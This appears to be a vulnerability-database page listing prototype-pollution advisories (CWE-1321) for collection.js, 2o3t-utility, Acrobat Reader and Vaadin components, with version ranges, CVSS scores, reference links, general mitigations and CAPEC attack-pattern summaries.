  "details": "Versions of the package collection.js before 6.8.1 are vulnerable to Prototype Pollution via the `extend` function in `Collection.js/dist/node/iterators/extend.js`.",
  "id": "GHSA-47pj-q2vm-46xc",
  "modified": "2023-03-24T19:40:25Z",
  "published": "2023-03-18T06:30:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-26113"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kobezzza/Collection/issues/27"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kobezzza/Collection/commit/d3d937645f62f37d3115d6aa90bb510fd856e6a2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/kobezzza/Collection"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kobezzza/Collection/blob/be32c48e68f49d3be48a58e929d1ab8ff1d2d19c/dist/node/iterators/extend.js%23L324"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kobezzza/Collection/releases/tag/v6.8.1"
    },
    {
      "type": "WEB",
      "url": "https://security.snyk.io/vuln/SNYK-JS-COLLECTIONJS-3185148"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Collection.js vulnerable to Prototype Pollution"
}

GHSA-4869-V738-XVVG

Vulnerability from github – Published: 2024-07-01 15:32 – Updated: 2024-08-21 21:30
VLAI
Details

2o3t-utility v0.1.2 was discovered to contain a prototype pollution via the function extend. This vulnerability allows attackers to execute arbitrary code or cause a Denial of Service (DoS) via injecting arbitrary properties.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-39013"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-07-01T13:15:05Z",
    "severity": "CRITICAL"
  },
  "details": "2o3t-utility v0.1.2 was discovered to contain a prototype pollution via the function extend. This vulnerability allows attackers to execute arbitrary code or cause a Denial of Service (DoS) via injecting arbitrary properties.",
  "id": "GHSA-4869-v738-xvvg",
  "modified": "2024-08-21T21:30:45Z",
  "published": "2024-07-01T15:32:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-39013"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/mestrtee/a2be744675af5ece3240c19fd04fc5e1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-48Q3-3JC4-WQ7C

Vulnerability from github – Published: 2026-09-08 21:34 – Updated: 2026-09-08 21:34
VLAI
Details

Acrobat Reader is affected by an Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') vulnerability that could lead to arbitrary file system read. An attacker could exploit this vulnerability to access sensitive files and directories outside the intended access scope. Exploitation of this issue requires user interaction in that a victim must open a malicious file. Scope is changed.

Severity
8.2 (High)
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
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{
  "affected": [],
  "aliases": [
    "CVE-2026-81994"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-08T21:18:46Z",
    "severity": "HIGH"
  },
  "details": "Acrobat Reader is affected by an Improperly Controlled Modification of Object Prototype Attributes (\u0027Prototype Pollution\u0027) vulnerability that could lead to arbitrary file system read. An attacker could exploit this vulnerability to access sensitive files and directories outside the intended access scope. Exploitation of this issue requires user interaction in that a victim must open a malicious file. Scope is changed.",
  "id": "GHSA-48q3-3jc4-wq7c",
  "modified": "2026-09-08T21:34:33Z",
  "published": "2026-09-08T21:34:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-81994"
    },
    {
      "type": "WEB",
      "url": "https://helpx.adobe.com/security/products/acrobat/apsb26-141.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-48V4-H5MW-72WW

Vulnerability from github – Published: 2026-09-30 15:31 – Updated: 2026-09-30 15:31
VLAI
Details

A prototype pollution vulnerability exists in the deep merge helpers of Vaadin Charts and Vaadin Component Base. Merging an object the application does not control into a chart configuration or into a component's i18n property writes onto Object.prototype, making the injected properties visible to every object in the running application.

Users of affected versions should apply the following mitigation or upgrade. Releases that have fixed this issue include:

Product version Vaadin 23.0.0 - 23.6.13 Vaadin 24.0.0 - 24.9.20 Vaadin 24.10.0 - 24.10.9 Vaadin 25.0.0 - 25.1.11 Vaadin 25.2.0 - 25.2.6

Mitigation Upgrade to 23.6.14 Upgrade to 24.9.21 Upgrade to 24.10.10 Upgrade to 25.1.12 Upgrade to 25.2.7 or newer

Please note that Vaadin versions 10-13 and 15-22 are no longer supported and you should update either to the latest 23, 24, 25 version.

Artifacts Maven coordinates Vulnerable versions Fixed version com.vaadin:vaadin 23.0.0 - 23.6.13 >=23.6.14 com.vaadin:vaadin 24.0.0 - 24.9.20 >=24.9.21 com.vaadin:vaadin 24.10.0 - 24.10.9 >=24.10.10 com.vaadin:vaadin 25.0.0 - 25.1.11 >=25.1.12 com.vaadin:vaadin 25.2.0 - 25.2.6 >=25.2.7 com.vaadin:vaadin-core 24.7.0 - 24.9.20 >=24.9.21 com.vaadin:vaadin-core 24.10.0 - 24.10.9 >=24.10.10 com.vaadin:vaadin-core 25.0.0 - 25.1.11 >=25.1.12 com.vaadin:vaadin-core 25.2.0 - 25.2.6 >=25.2.7 com.vaadin:vaadin-charts-flow 23.0.0 - 23.6.13 >=23.6.14 com.vaadin:vaadin-charts-flow 24.0.0 - 24.9.20 >=24.9.21 com.vaadin:vaadin-charts-flow 24.10.0 - 24.10.9 >=24.10.10 com.vaadin:vaadin-charts-flow 25.0.0 - 25.1.11 >=25.1.12 com.vaadin:vaadin-charts-flow 25.2.0 - 25.2.6 >=25.2.7

npm packages npm package Vulnerable versions Fixed version @vaadin/charts 23.0.0 - 23.6.4 >=23.6.5 @vaadin/charts 24.0.0 - 24.9.17 >=24.9.18 @vaadin/charts 24.10.0 - 24.10.4 >=24.10.5 @vaadin/charts 25.0.0 - 25.1.11 >=25.1.12 @vaadin/charts 25.2.0 - 25.2.8 >=25.2.9 @vaadin/component-base 24.7.0 - 24.9.17 >=24.9.18 @vaadin/component-base 24.10.0 - 24.10.4 >=24.10.5 @vaadin/component-base 25.0.0 - 25.1.11 >=25.1.12 @vaadin/component-base 25.2.0 - 25.2.8 >=25.2.9

Severity
6.3 (Medium)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-91860"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-30T14:17:34Z",
    "severity": "MODERATE"
  },
  "details": "A prototype pollution vulnerability exists in the deep merge helpers of Vaadin Charts and Vaadin Component Base. Merging an object the application does not control into a chart configuration or into a component\u0027s i18n property writes onto Object.prototype, making the injected properties visible to every object in the running application.\n\n\nUsers of affected versions should apply the following mitigation or upgrade. Releases that have fixed this issue include:\n\nProduct version\nVaadin 23.0.0 - 23.6.13\nVaadin 24.0.0 - 24.9.20\nVaadin 24.10.0 - 24.10.9\nVaadin 25.0.0 - 25.1.11\nVaadin 25.2.0 - 25.2.6\n\nMitigation\nUpgrade to 23.6.14\nUpgrade to 24.9.21\nUpgrade to 24.10.10\nUpgrade to 25.1.12\nUpgrade to 25.2.7 or newer\n\nPlease note that Vaadin versions 10-13 and 15-22 are no longer supported and you should update either to the latest 23, 24, 25 version.\n\nArtifacts\nMaven coordinates Vulnerable versions Fixed version\ncom.vaadin:vaadin 23.0.0 - 23.6.13 \u003e=23.6.14\ncom.vaadin:vaadin 24.0.0 - 24.9.20 \u003e=24.9.21\ncom.vaadin:vaadin 24.10.0 - 24.10.9 \u003e=24.10.10\ncom.vaadin:vaadin 25.0.0 - 25.1.11 \u003e=25.1.12\ncom.vaadin:vaadin 25.2.0 - 25.2.6 \u003e=25.2.7\ncom.vaadin:vaadin-core 24.7.0 - 24.9.20 \u003e=24.9.21\ncom.vaadin:vaadin-core 24.10.0 - 24.10.9 \u003e=24.10.10\ncom.vaadin:vaadin-core 25.0.0 - 25.1.11 \u003e=25.1.12\ncom.vaadin:vaadin-core 25.2.0 - 25.2.6 \u003e=25.2.7\ncom.vaadin:vaadin-charts-flow 23.0.0 - 23.6.13 \u003e=23.6.14\ncom.vaadin:vaadin-charts-flow 24.0.0 - 24.9.20 \u003e=24.9.21\ncom.vaadin:vaadin-charts-flow 24.10.0 - 24.10.9 \u003e=24.10.10\ncom.vaadin:vaadin-charts-flow 25.0.0 - 25.1.11 \u003e=25.1.12\ncom.vaadin:vaadin-charts-flow 25.2.0 - 25.2.6 \u003e=25.2.7\n\nnpm packages\nnpm package Vulnerable versions Fixed version\n@vaadin/charts 23.0.0 - 23.6.4 \u003e=23.6.5\n@vaadin/charts 24.0.0 - 24.9.17 \u003e=24.9.18\n@vaadin/charts 24.10.0 - 24.10.4 \u003e=24.10.5\n@vaadin/charts 25.0.0 - 25.1.11 \u003e=25.1.12\n@vaadin/charts 25.2.0 - 25.2.8 \u003e=25.2.9\n@vaadin/component-base 24.7.0 - 24.9.17 \u003e=24.9.18\n@vaadin/component-base 24.10.0 - 24.10.4 \u003e=24.10.5\n@vaadin/component-base 25.0.0 - 25.1.11 \u003e=25.1.12\n@vaadin/component-base 25.2.0 - 25.2.8 \u003e=25.2.9",
  "id": "GHSA-48v4-h5mw-72ww",
  "modified": "2026-09-30T15:31:33Z",
  "published": "2026-09-30T15:31:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-91860"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vaadin/web-components/pull/12483"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vaadin/web-components/pull/12492"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vaadin/web-components/pull/12493"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vaadin/web-components/pull/12494"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vaadin/web-components/pull/12496"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vaadin/web-components/pull/12559"
    },
    {
      "type": "WEB",
      "url": "https://vaadin.com/security/cve-2026-91860"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}
Mitigation
Implementation

By freezing the object prototype first (for example, Object.freeze(Object.prototype)), modification of the prototype becomes impossible.

Mitigation
Architecture and Design

By blocking modifications of attributes that resolve to object prototype, such as proto or prototype, this weakness can be mitigated.

Mitigation
Implementation

Strategy: Input Validation

When handling untrusted objects, validating using a schema can be used.

Mitigation
Implementation

By using an object without prototypes (via Object.create(null) ), adding object prototype attributes by accessing the prototype via the special attributes becomes impossible, mitigating this weakness.

Mitigation
Implementation

Map can be used instead of objects in most cases. If Map methods are used instead of object attributes, it is not possible to access the object prototype or modify it.

CAPEC-1: Accessing Functionality Not Properly Constrained by ACLs

In applications, particularly web applications, access to functionality is mitigated by an authorization framework. This framework maps Access Control Lists (ACLs) to elements of the application's functionality; particularly URL's for web apps. In the case that the administrator failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application, or can run queries for data that they otherwise not supposed to.

CAPEC-180: Exploiting Incorrectly Configured Access Control Security Levels

An attacker exploits a weakness in the configuration of access controls and is able to bypass the intended protection that these measures guard against and thereby obtain unauthorized access to the system or network. Sensitive functionality should always be protected with access controls. However configuring all but the most trivial access control systems can be very complicated and there are many opportunities for mistakes. If an attacker can learn of incorrectly configured access security settings, they may be able to exploit this in an attack.

CAPEC-77: Manipulating User-Controlled Variables

This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.

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